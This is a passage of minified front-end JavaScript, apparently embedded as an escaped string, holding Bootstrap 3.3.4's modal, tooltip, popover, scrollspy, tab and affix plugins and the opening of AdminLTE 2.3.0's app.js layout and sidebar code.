c=function(b,c){this.options=c,this.$body=a(document.body),this.$element=a(b),this.$dialog=this.$element.find(\".modal-dialog\"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.options.remote&&this.$element.find(\".modal-content\").load(this.options.remote,a.proxy(function(){this.$element.trigger(\"loaded.bs.modal\")},this))};c.VERSION=\"3.3.4\",c.TRANSITION_DURATION=300,c.BACKDROP_TRANSITION_DURATION=150,c.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},c.prototype.toggle=function(a){return this.isShown?this.hide():this.show(a)},c.prototype.show=function(b){var d=this,e=a.Event(\"show.bs.modal\",{relatedTarget:b});this.$element.trigger(e),this.isShown||e.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass(\"modal-open\"),this.escape(),this.resize(),this.$element.on(\"click.dismiss.bs.modal\",'[data-dismiss=\"modal\"]',a.proxy(this.hide,this)),this.$dialog.on(\"mousedown.dismiss.bs.modal\",function(){d.$element.one(\"mouseup.dismiss.bs.modal\",function(b){a(b.target).is(d.$element)&&(d.ignoreBackdropClick=!0)})}),this.backdrop(function(){var e=a.support.transition&&d.$element.hasClass(\"fade\");d.$element.parent().length||d.$element.appendTo(d.$body),d.$element.show().scrollTop(0),d.adjustDialog(),e&&d.$element[0].offsetWidth,d.$element.addClass(\"in\").attr(\"aria-hidden\",!1),d.enforceFocus();var f=a.Event(\"shown.bs.modal\",{relatedTarget:b});e?d.$dialog.one(\"bsTransitionEnd\",function(){d.$element.trigger(\"focus\").trigger(f)}).emulateTransitionEnd(c.TRANSITION_DURATION):d.$element.trigger(\"focus\").trigger(f)}))},c.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event(\"hide.bs.modal\"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),a(document).off(\"focusin.bs.modal\"),this.$element.removeClass(\"in\").attr(\"aria-hidden\",!0).off(\"click.dismiss.bs.modal\").off(\"mouseup.dismiss.bs.modal\"),this.$dialog.off(\"mousedown.dismiss.bs.modal\"),a.support.transition&&this.$element.hasClass(\"fade\")?this.$element.one(\"bsTransitionEnd\",a.proxy(this.hideModal,this)).emulateTransitionEnd(c.TRANSITION_DURATION):this.hideModal())},c.prototype.enforceFocus=function(){a(document).off(\"focusin.bs.modal\").on(\"focusin.bs.modal\",a.proxy(function(a){this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.trigger(\"focus\")},this))},c.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on(\"keydown.dismiss.bs.modal\",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off(\"keydown.dismiss.bs.modal\")},c.prototype.resize=function(){this.isShown?a(window).on(\"resize.bs.modal\",a.proxy(this.handleUpdate,this)):a(window).off(\"resize.bs.modal\")},c.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.$body.removeClass(\"modal-open\"),a.resetAdjustments(),a.resetScrollbar(),a.$element.trigger(\"hidden.bs.modal\")})},c.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},c.prototype.backdrop=function(b){var d=this,e=this.$element.hasClass(\"fade\")?\"fade\":\"\";if(this.isShown&&this.options.backdrop){var f=a.support.transition&&e;if(this.$backdrop=a('<div class=\"modal-backdrop '+e+'\" />').appendTo(this.$body),this.$element.on(\"click.dismiss.bs.modal\",a.proxy(function(a){return this.ignoreBackdropClick?void(this.ignoreBackdropClick=!1):void(a.target===a.currentTarget&&(\"static\"==this.options.backdrop?this.$element[0].focus():this.hide()))},this)),f&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass(\"in\"),!b)return;f?this.$backdrop.one(\"bsTransitionEnd\",b).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):b()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass(\"in\");var g=function(){d.removeBackdrop(),b&&b()};a.support.transition&&this.$element.hasClass(\"fade\")?this.$backdrop.one(\"bsTransitionEnd\",g).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):g()}else b&&b()},c.prototype.handleUpdate=function(){this.adjustDialog()},c.prototype.adjustDialog=function(){var a=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:\"\",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:\"\"})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:\"\",paddingRight:\"\"})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth<a,this.scrollbarWidth=this.measureScrollbar()},c.prototype.setScrollbar=function(){var a=parseInt(this.$body.css(\"padding-right\")||0,10);this.originalBodyPad=document.body.style.paddingRight||\"\",this.bodyIsOverflowing&&this.$body.css(\"padding-right\",a+this.scrollbarWidth)},c.prototype.resetScrollbar=function(){this.$body.css(\"padding-right\",this.originalBodyPad)},c.prototype.measureScrollbar=function(){var a=document.createElement(\"div\");a.className=\"modal-scrollbar-measure\",this.$body.append(a);var b=a.offsetWidth-a.clientWidth;return this.$body[0].removeChild(a),b};var d=a.fn.modal;a.fn.modal=b,a.fn.modal.Constructor=c,a.fn.modal.noConflict=function(){return a.fn.modal=d,this},a(document).on(\"click.bs.modal.data-api\",'[data-toggle=\"modal\"]',function(c){var d=a(this),e=d.attr(\"href\"),f=a(d.attr(\"data-target\")||e&&e.replace(/.*(?=#[^\\s]+$)/,\"\")),g=f.data(\"bs.modal\")?\"toggle\":a.extend({remote:!/#/.test(e)&&e},f.data(),d.data());d.is(\"a\")&&c.preventDefault(),f.one(\"show.bs.modal\",function(a){a.isDefaultPrevented()||f.one(\"hidden.bs.modal\",function(){d.is(\":visible\")&&d.trigger(\"focus\")})}),b.call(f,g,this)})}(jQuery),+function(a){\"use strict\";function b(b){return this.each(function(){var d=a(this),e=d.data(\"bs.tooltip\"),f=\"object\"==typeof b&&b;(e||!/destroy|hide/.test(b))&&(e||d.data(\"bs.tooltip\",e=new c(this,f)),\"string\"==typeof b&&e[b]())})}var c=function(a,b){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.init(\"tooltip\",a,b)};c.VERSION=\"3.3.4\",c.TRANSITION_DURATION=150,c.DEFAULTS={animation:!0,placement:\"top\",selector:!1,template:'<div class=\"tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>',trigger:\"hover focus\",title:\"\",delay:0,html:!1,container:!1,viewport:{selector:\"body\",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(this.options.viewport.selector||this.options.viewport),this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error(\"`selector` option must be specified when initializing \"+this.type+\" on the window.document object!\");for(var e=this.options.trigger.split(\" \"),f=e.length;f--;){var g=e[f];if(\"click\"==g)this.$element.on(\"click.\"+this.type,this.options.selector,a.proxy(this.toggle,this));else if(\"manual\"!=g){var h=\"hover\"==g?\"mouseenter\":\"focusin\",i=\"hover\"==g?\"mouseleave\":\"focusout\";this.$element.on(h+\".\"+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+\".\"+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:\"manual\",selector:\"\"}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&\"number\"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data(\"bs.\"+this.type);return c&&c.$tip&&c.$tip.is(\":visible\")?void(c.hoverState=\"in\"):(c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data(\"bs.\"+this.type,c)),clearTimeout(c.timeout),c.hoverState=\"in\",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){\"in\"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data(\"bs.\"+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data(\"bs.\"+this.type,c)),clearTimeout(c.timeout),c.hoverState=\"out\",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){\"out\"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},c.prototype.show=function(){var b=a.Event(\"show.bs.\"+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr(\"id\",g),this.$element.attr(\"aria-describedby\",g),this.options.animation&&f.addClass(\"fade\");var h=\"function\"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\\s?auto?\\s?/i,j=i.test(h);j&&(h=h.replace(i,\"\")||\"top\"),f.detach().css({top:0,left:0,display:\"block\"}).addClass(h).data(\"bs.\"+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.options.container?a(this.options.container):this.$element.parent(),p=this.getPosition(o);h=\"bottom\"==h&&k.bottom+m>p.bottom?\"top\":\"top\"==h&&k.top-m<p.top?\"bottom\":\"right\"==h&&k.right+l>p.width?\"left\":\"left\"==h&&k.left-l<p.left?\"right\":h,f.removeClass(n).addClass(h)}var q=this.getCalculatedOffset(h,k,l,m);this.applyPlacement(q,h);var r=function(){var a=e.hoverState;e.$element.trigger(\"shown.bs.\"+e.type),e.hoverState=null,\"out\"==a&&e.leave(e)};a.support.transition&&this.$tip.hasClass(\"fade\")?f.one(\"bsTransitionEnd\",r).emulateTransitionEnd(c.TRANSITION_DURATION):r()}},c.prototype.applyPlacement=function(b,c){var d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css(\"margin-top\"),10),h=parseInt(d.css(\"margin-left\"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),b.top=b.top+g,b.left=b.left+h,a.offset.setOffset(d[0],a.extend({using:function(a){d.css({top:Math.round(a.top),left:Math.round(a.left)})}},b),0),d.addClass(\"in\");var i=d[0].offsetWidth,j=d[0].offsetHeight;\"top\"==c&&j!=f&&(b.top=b.top+f-j);var k=this.getViewportAdjustedDelta(c,b,i,j);k.left?b.left+=k.left:b.top+=k.top;var l=/top|bottom/.test(c),m=l?2*k.left-e+i:2*k.top-f+j,n=l?\"offsetWidth\":\"offsetHeight\";d.offset(b),this.replaceArrow(m,d[0][n],l)},c.prototype.replaceArrow=function(a,b,c){this.arrow().css(c?\"left\":\"top\",50*(1-a/b)+\"%\").css(c?\"top\":\"left\",\"\")},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(\".tooltip-inner\")[this.options.html?\"html\":\"text\"](b),a.removeClass(\"fade in top bottom left right\")},c.prototype.hide=function(b){function d(){\"in\"!=e.hoverState&&f.detach(),e.$element.removeAttr(\"aria-describedby\").trigger(\"hidden.bs.\"+e.type),b&&b()}var e=this,f=a(this.$tip),g=a.Event(\"hide.bs.\"+this.type);return this.$element.trigger(g),g.isDefaultPrevented()?void 0:(f.removeClass(\"in\"),a.support.transition&&f.hasClass(\"fade\")?f.one(\"bsTransitionEnd\",d).emulateTransitionEnd(c.TRANSITION_DURATION):d(),this.hoverState=null,this)},c.prototype.fixTitle=function(){var a=this.$element;(a.attr(\"title\")||\"string\"!=typeof a.attr(\"data-original-title\"))&&a.attr(\"data-original-title\",a.attr(\"title\")||\"\").attr(\"title\",\"\")},c.prototype.hasContent=function(){return this.getTitle()},c.prototype.getPosition=function(b){b=b||this.$element;var c=b[0],d=\"BODY\"==c.tagName,e=c.getBoundingClientRect();null==e.width&&(e=a.extend({},e,{width:e.right-e.left,height:e.bottom-e.top}));var f=d?{top:0,left:0}:b.offset(),g={scroll:d?document.documentElement.scrollTop||document.body.scrollTop:b.scrollTop()},h=d?{width:a(window).width(),height:a(window).height()}:null;return a.extend({},e,g,h,f)},c.prototype.getCalculatedOffset=function(a,b,c,d){return\"bottom\"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:\"top\"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:\"left\"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},c.prototype.getViewportAdjustedDelta=function(a,b,c,d){var e={top:0,left:0};if(!this.$viewport)return e;var f=this.options.viewport&&this.options.viewport.padding||0,g=this.getPosition(this.$viewport);if(/right|left/.test(a)){var h=b.top-f-g.scroll,i=b.top+f-g.scroll+d;h<g.top?e.top=g.top-h:i>g.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;j<g.left?e.left=g.left-j:k>g.width&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr(\"data-original-title\")||(\"function\"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){return this.$tip=this.$tip||a(this.options.template)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(\".tooltip-arrow\")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data(\"bs.\"+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data(\"bs.\"+this.type,c))),c.tip().hasClass(\"in\")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off(\".\"+a.type).removeData(\"bs.\"+a.type)})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){\"use strict\";function b(b){return this.each(function(){var d=a(this),e=d.data(\"bs.popover\"),f=\"object\"==typeof b&&b;(e||!/destroy|hide/.test(b))&&(e||d.data(\"bs.popover\",e=new c(this,f)),\"string\"==typeof b&&e[b]())})}var c=function(a,b){this.init(\"popover\",a,b)};if(!a.fn.tooltip)throw new Error(\"Popover requires tooltip.js\");c.VERSION=\"3.3.4\",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:\"right\",trigger:\"click\",content:\"\",template:'<div class=\"popover\" role=\"tooltip\"><div class=\"arrow\"></div><h3 class=\"popover-title\"></h3><div class=\"popover-content\"></div></div>'}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(\".popover-title\")[this.options.html?\"html\":\"text\"](b),a.find(\".popover-content\").children().detach().end()[this.options.html?\"string\"==typeof c?\"html\":\"append\":\"text\"](c),a.removeClass(\"fade top bottom left right in\"),a.find(\".popover-title\").html()||a.find(\".popover-title\").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr(\"data-content\")||(\"function\"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(\".arrow\")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){\"use strict\";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||\"\")+\" .nav li > a\",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on(\"scroll.bs.scrollspy\",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data(\"bs.scrollspy\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.scrollspy\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})}b.VERSION=\"3.3.4\",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c=\"offset\",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c=\"position\",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data(\"target\")||b.attr(\"href\"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(\":visible\")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b<e[0])return this.activeTarget=null,this.clear();for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(void 0===e[a+1]||b<e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,this.clear();var c=this.selector+'[data-target=\"'+b+'\"],'+this.selector+'[href=\"'+b+'\"]',d=a(c).parents(\"li\").addClass(\"active\");d.parent(\".dropdown-menu\").length&&(d=d.closest(\"li.dropdown\").addClass(\"active\")),d.trigger(\"activate.bs.scrollspy\")},b.prototype.clear=function(){a(this.selector).parentsUntil(this.options.target,\".active\").removeClass(\"active\")};var d=a.fn.scrollspy;a.fn.scrollspy=c,a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=d,this},a(window).on(\"load.bs.scrollspy.data-api\",function(){a('[data-spy=\"scroll\"]').each(function(){var b=a(this);c.call(b,b.data())})})}(jQuery),+function(a){\"use strict\";function b(b){return this.each(function(){var d=a(this),e=d.data(\"bs.tab\");e||d.data(\"bs.tab\",e=new c(this)),\"string\"==typeof b&&e[b]()})}var c=function(b){this.element=a(b)};c.VERSION=\"3.3.4\",c.TRANSITION_DURATION=150,c.prototype.show=function(){var b=this.element,c=b.closest(\"ul:not(.dropdown-menu)\"),d=b.data(\"target\");if(d||(d=b.attr(\"href\"),d=d&&d.replace(/.*(?=#[^\\s]*$)/,\"\")),!b.parent(\"li\").hasClass(\"active\")){var e=c.find(\".active:last a\"),f=a.Event(\"hide.bs.tab\",{relatedTarget:b[0]}),g=a.Event(\"show.bs.tab\",{relatedTarget:e[0]});\nif(e.trigger(f),b.trigger(g),!g.isDefaultPrevented()&&!f.isDefaultPrevented()){var h=a(d);this.activate(b.closest(\"li\"),c),this.activate(h,h.parent(),function(){e.trigger({type:\"hidden.bs.tab\",relatedTarget:b[0]}),b.trigger({type:\"shown.bs.tab\",relatedTarget:e[0]})})}}},c.prototype.activate=function(b,d,e){function f(){g.removeClass(\"active\").find(\"> .dropdown-menu > .active\").removeClass(\"active\").end().find('[data-toggle=\"tab\"]').attr(\"aria-expanded\",!1),b.addClass(\"active\").find('[data-toggle=\"tab\"]').attr(\"aria-expanded\",!0),h?(b[0].offsetWidth,b.addClass(\"in\")):b.removeClass(\"fade\"),b.parent(\".dropdown-menu\").length&&b.closest(\"li.dropdown\").addClass(\"active\").end().find('[data-toggle=\"tab\"]').attr(\"aria-expanded\",!0),e&&e()}var g=d.find(\"> .active\"),h=e&&a.support.transition&&(g.length&&g.hasClass(\"fade\")||!!d.find(\"> .fade\").length);g.length&&h?g.one(\"bsTransitionEnd\",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass(\"in\")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),\"show\")};a(document).on(\"click.bs.tab.data-api\",'[data-toggle=\"tab\"]',e).on(\"click.bs.tab.data-api\",'[data-toggle=\"pill\"]',e)}(jQuery),+function(a){\"use strict\";function b(b){return this.each(function(){var d=a(this),e=d.data(\"bs.affix\"),f=\"object\"==typeof b&&b;e||d.data(\"bs.affix\",e=new c(this,f)),\"string\"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on(\"scroll.bs.affix.data-api\",a.proxy(this.checkPosition,this)).on(\"click.bs.affix.data-api\",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION=\"3.3.4\",c.RESET=\"affix affix-top affix-bottom\",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&\"top\"==this.affixed)return c>e?\"top\":!1;if(\"bottom\"==this.affixed)return null!=c?e+this.unpin<=f.top?!1:\"bottom\":a-d>=e+g?!1:\"bottom\";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&c>=e?\"top\":null!=d&&i+j>=a-d?\"bottom\":!1},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass(\"affix\");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(\":visible\")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=a(document.body).height();\"object\"!=typeof d&&(f=e=d),\"function\"==typeof e&&(e=d.top(this.$element)),\"function\"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css(\"top\",\"\");var i=\"affix\"+(h?\"-\"+h:\"\"),j=a.Event(i+\".bs.affix\");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin=\"bottom\"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace(\"affix\",\"affixed\")+\".bs.affix\")}\"bottom\"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on(\"load\",function(){a('[data-spy=\"affix\"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);","/*! AdminLTE app.js\n * ================\n * Main JS application file for AdminLTE v2. This file\n * should be included in all pages. It controls some layout\n * options and implements exclusive AdminLTE plugins.\n *\n * @Author  Almsaeed Studio\n * @Support <http://www.almsaeedstudio.com>\n * @Email   <support@almsaeedstudio.com>\n * @version 2.3.0\n * @license MIT <http://opensource.org/licenses/MIT>\n */\nfunction _init(){\"use strict\";$.AdminLTE.layout={activate:function(){var a=this;a.fix(),a.fixSidebar(),$(window,\".wrapper\").resize(function(){a.fix(),a.fixSidebar()})},fix:function(){var a=$(\".main-header\").outerHeight()+$(\".main-footer\").outerHeight(),b=$(window).height(),c=$(\".sidebar\").height();if($(\"body\").hasClass(\"fixed\"))$(\".content-wrapper, .right-side\").css(\"min-height\",b-$(\".main-footer\").outerHeight());else{var d;b>=c?($(\".content-wrapper, .right-side\").css(\"min-height\",b-a),d=b-a):($(\".content-wrapper, .right-side\").css(\"min-height\",c),d=c);var e=$($.AdminLTE.options.controlSidebarOptions.selector);\"undefined\"!=typeof e&&e.height()>d&&$(\".content-wrapper, .right-side\").css(\"min-height\",e.height())}},fixSidebar:function(){return $(\"body\").hasClass(\"fixed\")?(\"undefined\"==typeof $.fn.slimScroll&&window.console&&window.console.error(\"Error: the fixed layout requires the slimscroll plugin!\"),void($.AdminLTE.options.sidebarSlimScroll&&\"undefined\"!=typeof $.fn.slimScroll&&($(\".sidebar\").slimScroll({destroy:!0}).height(\"auto\"),$(\".sidebar\").slimscroll({height:$(window).height()-$(\".main-header\").height()+\"px\",color:\"rgba(0,0,0,0.2)\",size:\"3px\"})))):void(\"undefined\"!=typeof $.fn.slimScroll&&$(\".sidebar\").slimScroll({destroy:!0}).height(\"auto\"))}},$.AdminLTE.pushMenu={activate:function(a){var b=$.AdminLTE.options.screenSizes;$(a).on(\"click\",function(a){a.preventDefault(),$(window).width()>b.sm-1?$(\"body\").hasClass(\"sidebar-collapse\")?$(\"body\").removeClass(\"sidebar-collapse\").trigger(\"expanded.pushMenu\"):$(\"body\").addClass(\"sidebar-collapse\").trigger(\"collapsed.pushMenu\"):$(\"body\").hasClass(\"sidebar-open\")?$(\"body\").removeClass(\"sidebar-open\").removeClass(\"sidebar-collapse\").trigger(\"collapsed.pushMenu\"):$(\"body\").addClass(\"sidebar-open\").trigger(\"expanded.pushMenu\")}),$(\".content-wrapper\").click(function(){$(window).width()<=b.sm-1&&$(\"body\").hasClass(\"sidebar-open\")&&$(\"body\").removeClass(\"sidebar-open\")}),($.AdminLTE.options.sidebarExpandOnHover||$(\"body\").hasClass(\"fixed\")&&$(\"body\").hasClass(\"sidebar-mini\"))&&this.expandOnHover()},expandOnHover:function(){var a=this,b=$.AdminLTE.options.screenSizes.sm-1;$(\".main-sidebar\").hover(function(){$(\"body\").hasClass(\"sidebar-mini\")&&$(\"body\").hasClass(\"sidebar-collapse\")&&$(window).width()>b&&a.expand()},function(){$(\"body\").hasClass(\"sidebar-mini\")&&$(\"body\").hasClass(\"sidebar-expanded-on-hover\")&&$(window).width()>b&&a.collapse()})},expand:function(){$(\"body\").removeClass(\"sidebar-collapse\").addClass(\"sidebar-expanded-on-hover\")},collapse:function(){$(\"body\").hasClass(\"sidebar-expanded-on-hover\")&&$(\"body\").removeClass(\"sidebar-expanded-on-hover\").addClass(\"sidebar-collapse\")}},$.AdminLTE.tree=function(a){var b=this,c=$.AdminLTE.options.animationSpeed;$(document).on(\"click\",a+\" li a\",function(a){var d=$(this),e=d.next();if(e.is(\".treeview-menu\")&&e.is(\":visible\"))e.slideUp(c,function(){e.removeClass(\"menu-open\")}),e.parent(\"li\").removeClass(\"active\");else if(e.is(\".treeview-menu\")&&!e.is(\":visible\")){var f=d.parents(\"ul\").first(),g=f.find(\"ul:visible\").slideUp(c);g.removeClass(\"menu-open\");var h=d.parent(\"li\");e.slideDown(c,function(){e.addClass(\"menu-open\"),f.find(\"li.active\").removeClass(\"active\"),h.addClass(\"active\"),b.layout.fix()})}e.is(\".treeview-menu\")&&a.preventDefault()})},$.AdminLTE.controlSidebar={activate:function(){var a=this,b=$.AdminLTE.options.controlSidebarOptions,c=$(b.selector),d=$(b.toggleBtnSelector);d.on(\"click\",function(d){d.preventDefault(),c.hasClass(\"control-sidebar-open\")||$(\"body\").hasClass(\"control-sidebar-open\")?a.close(c,b.slide):a.open(c,b.slide)});var e=$(\".control-sidebar-bg\");a._fix(e),$(\"body\").hasClass(\"fixed\")?a._fixForFixed(c):$(\".content-wrapper, .right-side\").height()<c.height()&&a._fixForContent(c)},open:function(a,b){b?a.addClass(\"control-sidebar-open\"):$(\"body\").addClass(\"control-sidebar-open\")},close:function(a,b){b?a.removeClass(\"control-sidebar-open\"):$(\"body\").removeClass(\"control-sidebar-open\")},_fix:function(a){var b=this;$(\"body\").hasClass(\"layout-boxed\")?(a.css(\"position\",\"absolute\"),a.height($(\".wrapper\").height()),$(window).resize(function(){b._fix(a)})):a.css({position:\"fixed\",height:\"auto\"})},_fixForFixed:function(a){a.css({position:\"fixed\",\"max-height\":\"100%\",overflow:\"auto\",\"padding-bottom\":\"50px\"})},_fixForContent:function(a){$(\".content-wrapper, .right-side\").css(\"min-height\",a.height())}},$.AdminLTE.boxWidget={selectors:$.AdminLTE.options.boxWidgetOptions.boxWidgetSelectors,icons:$.AdminLTE.options.boxWidgetOptions.boxWidgetIcons,animationSpeed:$.AdminLTE.options.animationSpeed,activate:function(a){var b=this;a||(a=document),$(a).on(\"click\",b.selectors.collapse,function(a){a.preventDefault(),b.collapse($(this))}),$(a).on(\"click\",b.selectors.remove,function(a){a.preventDefault(),b.remove($(this))})},collapse:function(a){var b=this,c=a.parents(\".box\").first(),d=c.find(\"> .box-body, > .box-footer, > form  >.box-body, > form > .box-footer\");c.hasClass(\"collapsed-box\")?(a.children(\":first\").removeClass(b.icons.open).addClass(b.icons.collapse),d.slideDown(b.animationSpeed,function(){c.removeClass(\"collapsed-box\")})):(a.children(\":first\").removeClass(b.icons.collapse).addClass(b.icons.open),d.slideUp(b.animationSpeed,function(){c.addClass(\"collapsed-box\")}))},remove:function(a){var b=a.parents(\".box\").first();b.slideUp(this.animationSpeed)}}}if(\"undefined\"==typeof jQuery)throw new Error(\"AdminLTE requires 